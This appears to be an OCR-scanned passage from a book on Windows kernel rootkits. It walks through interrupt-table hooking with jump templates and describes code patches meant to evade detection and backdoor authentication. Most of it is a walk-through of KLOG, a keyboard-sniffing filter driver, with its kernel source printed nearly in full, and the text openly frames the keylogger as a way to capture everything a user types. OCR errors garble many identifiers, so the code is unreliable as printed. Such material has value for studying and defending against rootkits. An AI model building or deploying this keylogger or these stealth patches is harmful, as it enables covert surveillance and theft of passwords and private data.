FEEEEEEEEr bbb b rrbrrrirrd

/'l Set up the detour table.



/1

FEEEEEEEE bbbt rrrirrl

i dt _det our _t abl ebase =

ExAl | ocat ePool ( NonPagedPool ,

si zeof (j unp_t enpl ate) *256) ;

The next section of code gets a pointer to each jump table location in NonPagedPool, copies the jJump
template into the location, and then "stamps' the correct reentry address and interrupt number into the
jump template. Thisis done each time, for every interrupt.

I

Il

/11

#i

/1

Il

for (count =START_| DT_OFFSET; count <MAX | DT_ENTRI ES; count ++)
{

int offset = sizeof (junp_tenplate)*count;

char *entry_ptr = idt_detour_tabl ebase + offset;

entry ptr points to the start of our junp code

I n the detour_table.

Copy the starter code into the tenplate |ocation.
mencpy(entry ptr, junp_tenplate, sizeof(junp_tenplate));
f ndef _DEBUG

Stanp the interrupt nunber.

entry ptr[4] = (char)count;

Stanp the far call to the hook routine.

*( (unsigned long *)(&entry ptr[10]) )

(unsi gned | ong) count _i nterrupts;

#endi f

I

ol

Stanp the far junp to the original ISR

*( (unsigned long *)(&entry ptr[20]) )

d_I SR _poi nters[count];



The interrupt table entry is modified to point to the new jump template we've just created:

/1 Finally, nmake the interrupt point to our tenplate code.

__asmcli
idt _entries[count].LowO fset =

(unsi gned short)entry ptr;
i dt _entries[count].H Ofset =

(unsi gned short) ((unsigned long)entry ptr >> 16);
__asmsti

}

DbgPri nt (" Hooki ng I nterrupt conplete");

return STATUS_SUCCESS,;

The OnUnload routine shown in the following code simply restores the original interrupt table. It also
prints how many times each interrupt was called. If you ever have a problem finding the keyboard
interrupt, try thisdriver, and press akey 10 times. When you unload, the keyboard interrupt will be
recorded as having been called 20 times (once for keydown, once for keyup).

VO D OnUnl oad( | N PDRI VER OBJECT Driver Cbject )
{
int i;
IDTINFO idt_info; // This structure is obtained

/'l by calling STORE IDT (sidt)...



| DTENTRY* idt_entries; // ...and then this pointer
/1l is obtained fromidt _info.

char _t[255];
/1l load idt_info

_asm sidt idt_info

idt_entries = (I DTENTRY*)
MAKELONG( idt _info.Low DTbase, idt_info. Hi | DTbase);
DbgPrint (" ROOTKI T: OnUnl oad cal | ed\ n");
for (i =START_|I DT_OFFSET; i <MAX | DT_ENTRI ES; i ++)
{
_snprintf(_t, 253,
"interrupt % called %l tines", i,
g_i_count[i]);
DogPrint (_t);
}
DbgPri nt (" UnHooking Interrupt...");
for (i =START_I DT_OFFSET; i <MAX_| DT_ENTRI ES; i ++)
{
/'l Restore the original interrupt handl er
__asmcl
Idt_entries[i].LowO fset =
(unsigned short) old ISR pointers[i];
idt _entries[i].H Ofset =
(unsi gned short) ((unsigned | ong)

old_I SR pointers[i] >> 16);



_asmsti

DbgPri nt (" UnHooki ng I nterrupt conplete.");

We have now been introduced to jump templates. The technigue can be generalized for many problems.
Jump templates are especialy useful when more than one hook is required, each of which needs some
unique or specific associated data.



Variations on the Method

Asyou've seen, the common place to insert code patchesinto afunction is at the very beginning of the
function. Thisis easy, because functions are easy to find in memory. Of course, we don't need to stop
there; we can also patch code bytes deep within the function itself. Deeper code patches provide better
stealth and, therefore, aren't as easy to detect. Some rootkit-detection software checks the integrity of
only thefirst 20 bytes of afunction. If you place your code modification past the initial 20-byte mark,
you remain undetected by that software.

Searching for code bytes to patch can sometimes work well. If the series of code bytes you wish to patch
are unique, you can ssimply search for them in memory and patch them. When the code can simply be
searched for, there is no need to use function pointersto find it. If the patch itself is simple, you can
sometimes search for unique code bytes that are near the intended patch location. Thetrick isto find
some code bytes that are unique, so they can be searched for without generating false hits.

Authentication functions are also good places to modify code. These can be disabled completely so that
they always offer access. A more-complex patch could allow a backdoor password or username.

Patches to general -purpose kernel functions can provide stealth for the installed driver and programs. A
fairly interesting place to patch isthe loader program that |oads the kernel itself. Integrity-checking
functions can be patched so that they no longer detect Trojan or modified files. Patches to network
functions can be used to sniff packets and other data. Patchesto firmware and the BIOS can be hard to
detect.

When patching and inserting code, you sometimes need to insert agreat number of new instructions.
From adriver, the best way to proceed is to allocate non-paged pool memory. For more-esoteric patches,
however, you may wish to put your code into unused memory. There are unused sections of memory at
the bottom of many memory pages. Using these lower regions of existing pagesis sometimes called
caverninfection (the unused section of memory being known as a cavern).

Conclusion

Generally speaking, the direct code-byte patch is one of the strongest methods for modifying program
logic. Almost any program code or logic can be modified. Furthermore, the technique is somewhat
difficult to detectat |east with current rootkit-detection technol ogy.

Code-byte patches offer an aternative way to implement many of the hooking strategies described in
this book. If combined with other powerful techniques, such as direct hardware access and virtual -
memory obfuscations, the direct code-byte patch can be used to develop avery deadly and hard-to-detect
rootkit.

Overall, runtime patching is a staple technique for modern rootkit development.



Chapter 6. Layered Drivers

If you have a difficult task, give it to a lazy person; he will find an easier way to do it.
HLADESLAW

Developers engineer clever solutionsto avoid work. In fact, this laziness drives many innovationsin
code. The ability to layer driversis one such innovation. Using layers, a developer can chain multiple
driverstogether. In thisway, a developer can modify the behavior of an existing driver without coding a
whole new driver from scratch.

Think about it: What if you want to encrypt the contents of a hard drive? Would you like to write an
NTFS driver from scratch that supports not only the exact hardware of the drive mechanism, but also its
NTFS protocol and encryption routines? Using layered drivers, thisis not necessary. Y ou ssimply
intercept the data as it travelsto the pre-existing NTFS driver and modify it with encryption. More
importantly, the details of the NTFS protocol can be decoupled from the hardware details of the drive
mechanism. This elegant idea appliesto most drivers in the Windows environment.

Driver chains exist for aimost all hardware devices. The lowest-level driver deals with direct accessto
the bus and the hardware device, and higher-level drivers deal with data formatting, error codes, and the
conversion of high-level requests into the smaller, more pointed details of hardware manipulation.

Layering isan important concept for rootkits, because layered drivers are involved in the movement of
datain and out of lower-level hardware. Layered drivers not only intercept data; they can also modify
this data before passing it on. In other words, they are perfect for rootkit devel opers.

Almost every device on the system can be intercepted in thisway. And, using layering, we can be lazy
and intercept only the data we are interested in. Best of all, we can avoid dealing with complicated
hardware. If we want to sniff keystrokes, for example, we just layer our interception over the already
existing keyboard driver.

In this chapter, you will learn how to use layering techniques to intercept and modify datain a system.
We will start by discussing how the Windows kernel handles drivers, and take you through a detailed
walk-through of a sample keyboard filter driver for sniffing keystrokes. We will end the chapter with a
discussion of filefilter-drivers.

By the time you finish reading this chapter, you should be able to intercept everything a user types, and
to hide the file or directory where you are storing the data.



A Keyboard Sniffer

Layering adriver requires some firsthand knowledge about how the Windows kernel handles drivers.
Thisis best learned by example. In this chapter, we will walk you through creating a"hello layers"
keyboard-sniffer rootkit. The keyboard sniffer will use alayered filter driver to intercept keystrokes.

The layered keyboard sniffer operates at a much higher level than that of the keyboard hardware. Asit
turns out, even working with hardware as simple as a keyboard controller can be very problematic. (See
Chapter 8 , Hardware Manipulation, for an example that directly accesses the keyboard hardware.)

With alayered driver, at the point at which we intercept keystrokes the hardware device drivers have
aready converted the keystrokes into /O request packets (IRPs). These IRPs are passed up and down a
"chain" of drivers. To intercept keystrokes, our rootkit simply needs to insert itself into this chain.

A driver addsitself to the chain of drivers by first creating a device, and then inserting the device into
the group of devices. The distinction between device and driver isimportant, and isillustrated in Figure
6-1.

Figure 6-1. lllustration of the relationship between a driver and a device.
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Many devices can attach to the device chain for legitimate purposes. As an example, Figure 6-2 shows a
computer having two encryption packages, BestCrypt and PGP, both of which use filter driversto
intercept keystrokes and mouse activity.

Figure 6-2. DeviceTree utilityll showing multiple filter devices attached to the keyboard
and mouse.
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To better understand how the device chain processes information, one must follow the IRP through its
lifetime. First, aread request is made to read a keystroke. This causes an IRP to be constructed. This IRP
travels down the device chain, with an ultimate destination of the 8042 controller. Each devicein the
chain has a chance to modify or respond to the IRP. Once the 8042 driver has retrieved the keystroke
from the keyboard buffer, the scancode is placed in the IRP and the IRP travels back up the chain. (A
scancode is a number that corresponds to the key that was pressed on the keyboard.) On the IRP's way
back up the chain, the drivers again have a chance to modify or respond to it.

I/O Request Packet (IRP) and Stack Locations

TheIRPisapartially documented structure. It is allocated by the I/0 manager within the Windows
kernel, and is used to pass operation-specific data between drivers. When drivers are layered, they are
registered in a chain. When an 1/0O request is made for chained drivers, an IRPis created and passed to
al driversin the chain. The "topmost” driver, thefirst one in the chain, isthefirst driver to receive the
IRP. Thelast driver in the chainisthe "lowest,” and the one responsible for talking directly to the
hardware.

When a new request is made, the 1/0 manager must create a new IRP. At the time of IRP creation, the
I/0 manager knows exactly how many drivers are registered in the chain. For each driver in the chain,
the I/0 manager adds extra space to the IRP being allocated, called an IO_STACK_LOCATION. Thus,
whilethe IRP isasingle large structure in memory, it will vary in size depending on the number of
driversin the chain. The entire IRP will reside in memory, looking something like Figure 6-3 .

Figure 6-3. An IRP with three IO_STACK_LOCATIONS.



Each driver in the driver chain will have an
IRP |0_STACK_LOCATION allocated for it.
header These are packed onto the end of an IRP
structure in an array-like format.

10
STACK '
LOCATION | . Lowest driver stack location (1)

10
STACK [TTTTTTTTTTmmmmmmmmmmommmmmmmmmnees '

LOCATION | g .Next higher stack location (2)

(8]
STACK e i ieinieieleiiekeiteta

LOCATION | g , Topmost driver stack location (3)

The IRP header stores an array index for the current |O_STACK_LOCATION. It aso stores a pointer to
the current IO_STACK_LOCATION. Theindex starts at 1; there is no member #0. In the example
shown in Figure 6-3, the IRP would be initialized with a current stack index of 3, and the current
|IO_STACK_LOCATION pointer would point to the third member of the array. Thefirst driver in the
chain would be called with a current stack location of 3.

When adriver passes an |RP to the next-lowest driver, it uses the loCallDriver routine (see Figure 6-4).
One of thefirst actions of the loCallDriver routine isto decrement the current stack location index. So,
when the topmost driver in the Figure 6-3 example calls loCallDriver, the current stack location is
decremented to 2 before the next driver is called. Finally, when the lowest driver is called, the current
stack location is set to 1. Note that if the current stack location is ever set to 0, the machine will crash.

Figure 6-4. IRP traversing a chain of drivers, each with its own stack location.
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A filter driver must support the same major functions as the driver beneath it. A simple "hello world"
filter driver would simply pass al IRPsto the underlying driver. Setting up a pass-through function is

easy.

for(int i =0; i < |RP_M_NMAXI MUM FUNCTI ON; i ++)

pDri ver Qbj ect - >Maj or Function[i] = MyPassThru;

In this example, MyPassThru is afunction similar to the following:

NTSTATUS MyPassThr u( PDEVI CE_OBJECT t heCurrent Devi ceQbj ect, PIRP thel RP

{

| oSki pCurrent|rpStackLocation(thel RP);

Return | oCal |l Driver (gNextDevice, thel RP);

The call to loSkipCurrentStackL ocation sets up the IRP so that when we call 10CallDriver, the next-
lowest driver will use our current IO_STACK_LOCATION. In other words, the current
|O_STACK_LOCATION pointer will not be changed.l2 Thistrick allows the lower-level driver to use
any arguments or compl etion routines that have been supplied by the driver above us. (This suits us
because we are lazy, so we don't want to initialize the next-lowest driver stack location.)
(2] For those who must know the nitty-gritty details, |0SkipCurrentl rpStackLocation actually increments the stack
location pointer, only to have it decremented back when |0CallDriver is usedthus rendering a net change of 0 in the
pointer.

It's important to note that because |oSkipCurrentlrpStackL ocation() may be implemented as a macro,
you need to be sure that you always use curly bracesin a conditional expression:

i f (somet hi ng)

{



| oSki pCurrent St ackLocat i on()

Thiswill not work:

/'l This may cause a crash:

I f (sonmet hing) [ 0oSkipCurrent StackLocation();

Of course, this exampleis contrived and does nothing useful. To get somewhere with this technique, we
would want to examine the contents of the IRPs after they have been completed. For example, IRPs are
used to get keystrokes from the keyboard. Such IRPswill contain the scancodes for the keys that have
been pressed.

To get some experience with this, take awalk through the KLOG rootkit in the next section.



The KLOG Rootkit: A Walk-through

Our example keyboard sniffer, called KLOG, was written by Clandestiny and is published at
www.rootkit.com .[3] What follows is awalk-through of her code.

(31 A popular example of akeyboard layered filter driver is available at www.sysinternals.com . It is called ctrl 2cap.
KLOG is based on the ctrl2cap code.

Rootkit.com

The KLOG rootkit is described at:
www.rootkit.com/newsread.php?newsid=187
It may be downloaded from Clandestiny's vault at rootkit.com.

Note that the KLOG example supports the US keyboard layout. Because each keystroke is transmitted as
a scancode, and not the actual letter of the key pressed, a step is required to convert the scancode back to
the letter key. This mapping will be different depending on which keyboard layout is being used.

First, DriverEntry is called:

NTSTATUS DriverEntry(I N PDRI VER _OBJECT pDriver (bj ect,

| N PUNI CODE_STRI NG Regi stryPath )

NTSTATUS Status = {0};

Next, in the DriverEntry function, a pass-through dispatch routine called DispatchPassDown is set up:

for(int i =0; i < IRP_M_MAXI MUM FUNCTI ON; i ++)

pDri ver Qbj ect - >Maj or Function[i] = D spat chPassDown;

Next, aroutineis set up to be used specifically for keyboard read requests. KLOG's function is called
DispatchRead:



[l Explicitly fill in the IRP handlers we want to hook.

pDri ver Qbj ect - >Maj or Functi on[ | RP_MI_READ| = D spat chRead,;

The driver object has now been set up, but it still needs to be connected to the keyboard-device chain.
Thisisdone in the HookK eyboard function:

/'l Hook the keyboard now.

HookKeyboar d( pDri ver Qbj ect) ;

Taking acloser look at the HookK eyboard function, we find the following:

NTSTATUS HookKeyboard(1 N PDRI VER_OBJECT pDri ver Qbj ect)
{
/'l the filter device object

PDEVI CE_OBJECT pKeyboar dDevi ce(bj ect ;

loCreateDevice is used to create a device object. Note that the device object has no name, and that it's of
type FILE_DEVICE_KEYBOARD. Also note that the DEVICE_EXTENSION sizeis passed. Thisisa
user-defined structure.

/'l Create a keyboard device object.
NTSTATUS status = | oCreat eDevi ce(pDriverhj ect,
si zeof ( DEVI CE_EXTENSI ON) ,
NULL, // no nane
FI LE_DEVI CE_KEYBQOARD,

0,



true,
&pKeyboar dDevi ce(hj ect) ;
/'l Make sure the device was created.
i f(!NT_SUCCESS(status))

return status;

The flags associated with the new device should be set identical to those of the underlying keyboard
device being layering over. To get thisinformation, a utility such as DeviceTree can be used. In the case
of akeyboard filter, the flags indicated here may be used:

pKeyboar dDevi ce(bj ect - >Fl ags = pKeyboar dDevi ceQbj ect - >Fl ags
| (DO _BUFFERED | O | DO _POWER PAGABLE) ;
pKeyboar dDevi ce(bj ect - >Fl ags = pKeyboar dDevi ceQbj ect - >Fl ags &

~DO_DEVI CE_I NI TI ALI ZI NG,

Remember that KLOG specified aDEVICE_EXTENSION size when the device object was created.
Thisisan arbitrary block of non-paged memory that can be used to store any data. This datawill be
associated with this device object. KLOG definesthe DEVICE_EXTENSION structure as follows:

typedef struct _DEVI CE_EXTENSI ON
{
PDEVI CE_OBJECT pKeyboar dDevi ce;
PETHREAD pThr eadQbj ;
bool bThreadTer m nat e;
HANDLE hLogFi | e;
KEY_STATE kSt at e;

KSEMAPHORE senmueue;



KSPI N LOCK | ockQueue;
LI ST_ENTRY Queueli st Head,;

} DEVI CE_EXTENSI ON, * PDEVI CE_EXTENSI ON;

The HookK eyboard function zeroes out this structure and then creates a pointer to initialize some of the
members:

Rt | Zer oMenor y( pKeyboar dDevi ceObj ect - >Devi ceExt ensi on,
si zeof ( DEVI CE_EXTENSI ON) ) ;
/'l Get the pointer to the device extension.
PDEVI CE_EXTENSI ON pKeyboar dDevi ceExt ensi on =

( PDEVI CE_EXTENSI ON) pKeyboar dDevi ce(bj ect - >Devi ceExt ensi on;

The name of the keyboard device to layer over is KeyboardClass0. Thisis converted into a UNICODE
string, and the filter hook is placed using acall to loAttachDevice(). The pointer to the next devicein the
chain is stored in pKeyboardDeviceExtension->pK eyboardDevice. This pointer will be used to pass
IRPs down to the underlying device in the chain.

CCHAR nt NaneBuffer[64] = "\\Device\\KeyboardC ass0";
STRING nt NaneStri ng;
UNI CODE_STRI NG uKeyboar dDevi ceNane;
RtlIInitAnsi String(&tNanmeString, ntNaneBuffer);
Rt | Ansi StringToUni codeStri ng( &uKeyboar dDevi ceNane,
&nt NameSt ri ng,
TRUE ) ;
| oAt t achDevi ce( pKeyboar dDevi ceCbj ect, &uKeyboar dDevi ceNane,

&pKeyboar dDevi ceExt ensi on- >pKeyboar dDevi ce) ;



Rt | FreeUni codeSt ri ng( &uKeyboar dDevi ceNane) ;
return STATUS SUCCESS;

}// end HookKeyboard

Assuming HookK eyboard has been successful, KLOG continues processing in DriverMain. The next
step isto create aworker thread that can write keystrokesto alog file. The worker thread is required
because file operations are not possible in the IRP processing function. When scancodes are being tossed
inside IRPs, the system isrunning at DISPATCH IRQ level, and it is forbidden to perform file
operations. After passing the keystrokes into a shared buffer, the worker thread can pick them up and
write them to afile. The worker thread runs at a different IRQ level, PASSIVE, where file operations are
allowed. Set-up of the worker thread takes place in the InitThreadK eyl ogger function:

I ni t Thr eadKeyLogger (pDri ver Qbj ect) ;

Zooming into the InitThreadK eyL ogger function, we find the following:

NTSTATUS | ni t ThreadKeyLogger (1 N PDRI VER_OBJECT pDri ver Obj ect)

{

A pointer to the device extension is used to initialize some more members. KLOG stores the state of the
thread in bThreadTerminate. It should be set to "false" aslong as the thread is running.

PDEVI CE_EXTENSI ON pKeyboar dDevi ceExt ensi on = ( PDEVI CE_EXTENSI ON) pDr i\
>Devi ceQbj ect - >Devi ceExt ensi on;
/1l Set the worker thread to running state in device extension.

pKeyboar dDevi ceExt ensi on- >bThreadTerm nate = fal se;



The worker thread is created using the PsCreateSystemThread call. Note that the thread processing
function is specified as ThreadK eyl ogger and that the device extension is passed as an argument to that
function:

I/ Create the worker thread.
HANDLE hThr ead;
NTSTATUS status = PsCreat eSyst eniThr ead( & Thr ead,
( ACCESS_MASK) 0,
NULL,
( HANDLE) 0,
NULL,
Thr eadKeylLogger,
pKeyboar dDevi ceExt ensi on) ;
i f(!NT_SUCCESS( st at us))

return status;

A pointer to the thread object is stored in the device extension:

/1 Cbtain a pointer to the thread object.
bRef er ence(bj ect ByHandl e( hThr ead,
THREAD ALL_ACCESS,
NULL,
Ker nel Mode,
(PVA D*) &pKeyboar dDevi ceExt ensi on- >pThr eadQbj ,
NULL) ;

/] We don't need the thread handl e.



ZwCl ose( hThread) ;

return status;

Back in DriverEntry, the thread isready. A shared linked list isinitialized and stored in the device
extension. The linked list will contain captured keystrokes.

PDEVI CE_EXTENSI ON pKeyboar dDevi ceExt ensi on =
(PDEVI CE_EXTENSI ON) pDri ver Qbj ect - >Devi ce(bj ect - >Devi ceExt ensi on;

InitializelListHead(&Keyboar dDevi ceExt ensi on- >Queueli st Head) ;

A spinlock isinitialized to synchronize access to the linked list. This makes the linked list thread safe,
which isvery important. If KLOG did not use a spinlock, it could cause a Blue Screen of Death when
two threads try to access the linked list at once. The semaphore keeps track of the number of itemsin the
work queue (initially zero).

/'l Initialize the lock for the linked |ist queue.
KelnitializeSpi nLock(&pKeyboar dDevi ceExt ensi on->| ockQueue) ;
/1l Initialize the work queue senmaphore.

Kel niti ali zeSemaphor e( & Keyboar dDevi ceExt ensi on- >senfueue, 0, MAXLO

The next block of code opens afile, c:\klog.txt, for logging the keystrokes:

/Il Create the log file.
| O STATUS BLOCK fil e_st at us;

OBJECT_ATTRI BUTES obj _attrib;



CCHAR nt NaneFil e[ 64] = "\\DosDevi ces\\c:\\klog.txt";
STRI NG nt NanmeSt ri ng;
UNI CODE_STRI NG uFi | eNanre;
RtlInitAnsi String(&tNanmeString, ntNaneFile);
Rt | Ansi StringToUni codeStri ng(&uFi | eNane, &nt NanmeString, TRUE);
InitializeCbjectAttributes(&obj attrib, &uFil eNane,
OBJ_CASE_| NSENSI Tl VE,
NULL,
NULL) ;
Status = ZwCr eat eFi | e( &pKeyboar dDevi ceExt ensi on- >hLogFi | e,
GENERI C_WRI TE,
&obj attrib,
& il e status,
NULL,
FI LE_ATTRI BUTE_NORMAL,
0,
FI LE_OPEN_I F,
FI LE_SYNCHRONOUS | O NONALERT,
NULL,
0);
Rt | FreeUni codeSt ri ng( &uFi | eNane) ;
if (Status != STATUS SUCCESS)
{
DogPrint("Failed to create log file...\n");

DogPrint("File Status = %\ n",file_status);



el se

{
DobgPrint ("Successfully created log file...\n");
DbgPrint ("File Handle = %\ n",
pKeyboar dDevi ceExt ensi on- >hLogFi | e) ;

}

Finally, a DriverUnload routineis specified for cleanup purposes:

/1 Set the DriverUnl oad procedure.
pDri ver Obj ect ->Dri ver Unl oad = Unl oad;
DogPrint ("Set DriverUnload function pointer...\n");
DbgPrint("Exiting Driver Entry...... \n");

return STATUS SUCCESS;

At thispoint, the KLOG driver is hooked into the device chain and should start getting keystroke IRPs.
Theroutinethat is caled for aREAD request is DispatchRead. Let's take a closer ook at that function:

NTSTATUS Di spat chRead(| N PDEVI CE_OBJECT pDevi ceCbject, IN PIRP plrp)

{

Thisfunction is called when aREAD request is headed down to the keyboard controller. At this point
thereisno datain the IRP that we can use. We instead want to see the IRP after the keystroke has been
capturedwhen the IRP is on its way back up the device chain.

The only way to get notified that the IRP has finished is by setting a completion routine. If we don't set
the completion routine, we will be skipped when the IRP travels back up the chain.



When we pass the IRP to the next-lowest device in the chain, we are required to set the IRP stack
pointer. The term stack here is misleading: Each device ssmply has a private section of memory it can
use within each IRP. These private areas are laid out in a specified order. Y ou use the

loGetCurrentl rpStackL ocation and |0GetNextlrpStackL ocation calls to get pointersto these private
areas. A "current” pointer must be pointing to the next-lowest driver's private area before the IRP is
passed on. So, before calling loCallDriver, call |oCopyCurrentlrpStackL ocationToNext:

/| Copy paraneters down to next level in the stack
/[l for the driver bel ow us.
| oCopyCurrent|rpStackLocati onToNext (plrp);
Note that the conpletion routine is naned "OnReadConpl eti on":
/'l Set the conpletion call back.
| oSet Conpl eti onRouti ne(plrp,
OnReadConpl et i on,
pDevi ce(bj ect ,
TRUE,
TRUE,

TRUE) ;

The number of pending IRPs s tracked so that KLOG won't unload unless processing is complete:

/'l Track the # of pending |IRPs.

nunPendi ngl r ps++;

Finally, loCallDriver is used to pass the IRP to the next-lowest device in the chain. Remember that a
pointer to the next-lowest deviceis stored in pKeyboardDevice in the Device Extension.

// Pass the I|RP on down to \the driver underneath us.



return |oCallDriver(
( ( PDEVI CE_EXTENSI ON) pDevi ceOhj ect - >Devi ceExt ensi on) - >pKeyboar dDevi ce,

}// end D spat chRead

Now we can see that every READ IRP, once processed, will be available in the OnReadCompletion
routine. Let'slook at that in more detail:

NTSTATUS OnReadConpl eti on(I N PDEVI CE_OBJECT pDevi ce(bj ect,
IN PIRP plrp, IN PVO D Context)
{
Il Get the device extension - we'll need to use it later.
PDEVI CE_EXTENSI ON pKeyboar dDevi ceExt ensi on = ( PDEVI CE_EXTENSI ON) pDevi

>Devi ceExt ensi on;

The IRP status is checked. Think of this as areturn code, or error code. If the codeis set to

STATUS _SUCCESS, that means the IRP has completed successfully, and it should have some
keystroke data on board. The SystemBuffer member pointsto an array of KEYBOARD_INPUT_DATA
structures. The loStatus.|nformation member contains the length of thisarray:

/'l 1f the request has conpleted, extract the value of the key.
i f(plrp->loStatus. Status == STATUS_ SUCCESS)
{
PKEYBOARD_| NPUT_DATA keys = ( PKEYBOARD | NPUT_DATA)
pl r p- >Associ at edl r p. Syst enBuf fer;

int nunKeys = plrp->loStatus.Information / sizeof ( KEYBOARD | NPUT_DA

The KEYBOARD _INPUT_DATA structure is defined as follows:



t ypedef struct _KEYBOARD | NPUT_ DATA {
USHORT Uni t 1 d;
USHORT MakeCode;
USHORT Fl ags;
USHORT Reser ved;
ULONG Extral nf or mati on;

} KEYBQOARD_I NPUT_DATA, *PKEYBOARD_ | NPUT_DATA,

KLOG now loopsthrough all array members, getting a keystroke from each:

for(int i = 0; i < nunKeys; i++)

{
DbgPrint (" ScanCode: %\ n", keys[i].MakeCode);

Note that we receive two events: one each for keypress and keyrelease. We need pay attention to only
one of these for asimple keystroke monitor. KEY MAKE isthe important flag here.

I f(keys[i].Flags == KEY_MAKE)

DogPrint ("%\n", "Key Down");

Remember that this completion routineis called at DISPATCH_LEVEL IRQL, which meansfile
operations are not allowed. To get around this limitation, KLOG passes the keystrokes to the worker
thread viaa shared linked list. The critical section must be used to synchronize access to this linked list.
The kernel enforces the rule that only one thread at a time can execute a critical section. (Technical note:
A deferred procedure call [DPC] cannot be used here, sincea DPC runsat DISPATCH_LEVEL aso.)

KLOG allocates some NonPagedPool memory and places the scancode into this memory. Thisisthen



placed into the linked list. Again, because we are running at DISPATCH level, the memory may be
allocated from NonPagedPool only.

KEY_ DATA* kData = ( KEY_DATA*) ExAl | ocat ePool ( NonPagedPool , si zeof (KEY_I
[/ Fill in kData structure with info fromIRP
kDat a- >KeyDat a = (char) keys[i]. MakeCode;
kDat a- >KeyFl ags = (char) keys[i]. Fl ags;
/1 Add the scan code to the linked Ii st
/'l queue so our worker thread
/[l can wite it out to a file.
DogPrint ("Adding IRP to work queue...");
ExI nterl ockedl nsert Tai | Li st (&pKeyboar dDevi ceExt ensi on- >QueuelLi st Head,
&kDat a- >Li stEntry,
&pKeyboar dDevi ceExt ensi on- >l ockQueue) ;
The semaphore is increnented to indicate that sone data needs to be pr
/[l Increment the semaphore by 1 - no WaitFor XXX after this call

KeRel easeSenaphor e( &Keyboar dDevi ceExt ensi on- >senfueue,

0,
1,
FALSE) ;
}// end for
1/ end if

/1l Mark the I RP pending if necessary.
I f(plrp->Pendi ngRet ur ned)

| oMar ki r pPendi ng(plrp);



Since KLOG isfinished processing this IRP, the IRP count is decremented:

nunPendi ngl r ps-;
return plrp->loStatus. Status;

}// end OnReadConpl eti on

At this point, a keystroke has been saved in the linked list and is available to the worker thread. Let's
now look at the worker thread routine:

VO D Thr eadKeyLogger (I N PVO D pCont ext)
{
PDEVI CE_EXTENSI ON pKeyboar dDevi ceExt ensi on =
( PDEVI CE_EXTENSI ON) pCont ext ;
PDEVI CE_OBJECT pKeyboar dDevi ceCbj ect =
pKeyboar dDevi ceExt ensi on- >pKeyboar dDevi ce;
PLI ST_ENTRY pLi stEntry;
KEY DATA* kData; // customdata structure used to

/! hold scancodes in the linked |i st

KLOG now enters a processing loop. The code waits for the semaphore using KeWaitForSingleObject.
If the semaphore is incremented, the processing loop knows to continue.

whi | e(true)
{
/1l Wait for data to becone available in the queue.

KeWai t For Si ngl e(bj ect (



&pKeyboar dDevi ceExt ensi on- >senmQueue,
Executi ve,

Ker nel Mode,

FALSE,

NULL) ;

The topmost item is removed safely from the linked list. Note the use of the critical section.

pLi stEntry = Exlnterl ockedRenoveHeadLi st (
&pKeyboar dDevi ceExt ensi on- >Queueli st Head,

&pKeyboar dDevi ceExt ensi on- >l ockQueue) ;

Kernel threads cannot be terminated externally; they can only terminate themselves. Here KLOG checks

aflag to seeif it should terminate the worker thread. This should happen only if KLOG is being
unloaded.

i f (pKeyboar dDevi ceExt ensi on->bThreadTer i nate == true)

{

PsTer m nat eSyst eniThr ead( STATUS_SUCCESS) ;

The CONTAINING_RECORD macro must be used to get a pointer to the data within the pListEntry
structure:

kDat a = CONTAI NI NG_RECORD( pLi st Entry, KEY_DATA, Li stEntry);



Here KLOG gets the scancode and convertsit into a keycode. Thisis done with a utility function,
ConvertScanCodeToK eyCode. This function understands only the U.S. English keyboard layout,
although it could easily be replaced with code that's valid for other keyboard layouts.

/'l Convert the scan code to a key code.

char keys[3] = {0};

Convert ScanCodeToKeyCode( pKeyboar dDevi ceExt ensi on, kDat a, keys) ;
/'l Make sure the key has returned a valid code
/'l before witing it to the file.

I f(keys !'= 0)

{

If the file handle isvalid, use ZwWriteFile to write the keycode to the log:

I/ Wite the data out to a file.
I f (pKeyboar dDevi ceExt ensi on->hLogFi |l e ! = NULL)
{
| O STATUS BLOCK i 0_st at us;
NTSTATUS status = ZWNiteFil e(
pKeyboar dDevi ceExt ensi on- >hLogFi | e,
NULL,
NULL,
NULL,
& o_st at us,
&keys,

strlen(keys),



NULL,
NULL) ;
I f(status !'= STATUS SUCCESS)
DogPrint ("Witing scan code to file...\n");
el se
DbgPrint ("Scan code ' %' successfully witten to file.\n", keys)
Y}/ end if
Y}/ end if
}// end while

return;

}// end ThreadLogKeyboard

That isbasicaly it for KLOG's main operations. Now let'stake alook at the Unload routine:

VO D Unl oad( I N PDRI VER _OBJECT pDri ver Obj ect)
{
/[l CGet the pointer to the device extension.
PDEVI CE_EXTENSI ON pKeyboar dDevi ceExt ensi on =
( PDEVI CE_EXTENSI ON) pDri ver Qbj ect - >Devi ce(hj ect - >Devi ceExt ensi on;

DogPrint("Driver Unload Called...\n");

The driver must unhook the layered device with loDetachDevice:

// Detach fromthe device underneath that we're hooked to.

| oDet achDevi ce( pKeyboar dDevi ceExt ensi on- >pKeyboar dDevi ce) ;



DbgPri nt (" Keyboard hook detached from device...\n");

A timer isused, and KLOG enters a short loop until all IRPs are done processing:

I/ Create a tiner.
KTI MER KkTi ner;
LARCGE | NTECGER ti neout ;
ti meout. QuadPart = 1000000;// .1 s

KelnitializeTimer(&kTimer);

If an IRP iswaiting for a keystroke, the unload won't complete until akey has been pressed:

whi | e( nunPendi nglrps > 0)
{
/'l Set the tinmer.
KeSet Ti mer (&K Ti mer, timeout, NULL) ;
KeWai t For Si ngl e(bj ect (
&KTi mer,
Executi ve,
Ker nel Mode,
fal se,

NULL) ;

Now KLOG indicates that the worker thread should terminate:



/| Set our key |ogger worker thread to term nate.
pKeyboar dDevi ceExt ensi on- >bThreadTer m nate = true;

/1 Wake up the thread if its blocked & WaitFor XXX after this call.
KeRel easeSenaphor e(

&pKeyboar dDevi ceExt ensi on- >senmQueue,

KLOG calls KeWaitForSingleObject with the thread pointer, waiting until the thread has been
terminated:

/1 WAt until the worker thread term nates.
DogPrint ("Waiting for key logger thread to termnate...\n");
KeWai t For Si ngl eoj ect ( pKeyboar dDevi ceExt ensi on- >pThr eadQbj
Executi ve,
Ker nel Mode,
fal se, NULL) ;

DbgPrint ("Key | ogger thread term nated\n");

Finaly, thelogfileis closed:

/1 Close the log file.

ZwWCl ose( pKeyboar dDevi ceExt ensi on- >hLogFi | e) ;



And, some good housekeeping clean-up is performed:

/'l Delete the device.
| oDel et eDevi ce(pDri ver Ooj ect - >Devi ceQbj ect) ;
DbgPrint (" Tagged | RPs dead...Termnating...\n");

return;

That concludes the keyboard sniffer. Thisis clearly important codea wonderful starting point for
branching into other layered rootkits. Moreover, a keystroke monitor alone is one of the most valuable
rootkits one can craft. Keystrokes tell many secrets and offer much evidence.



File Filter Drivers

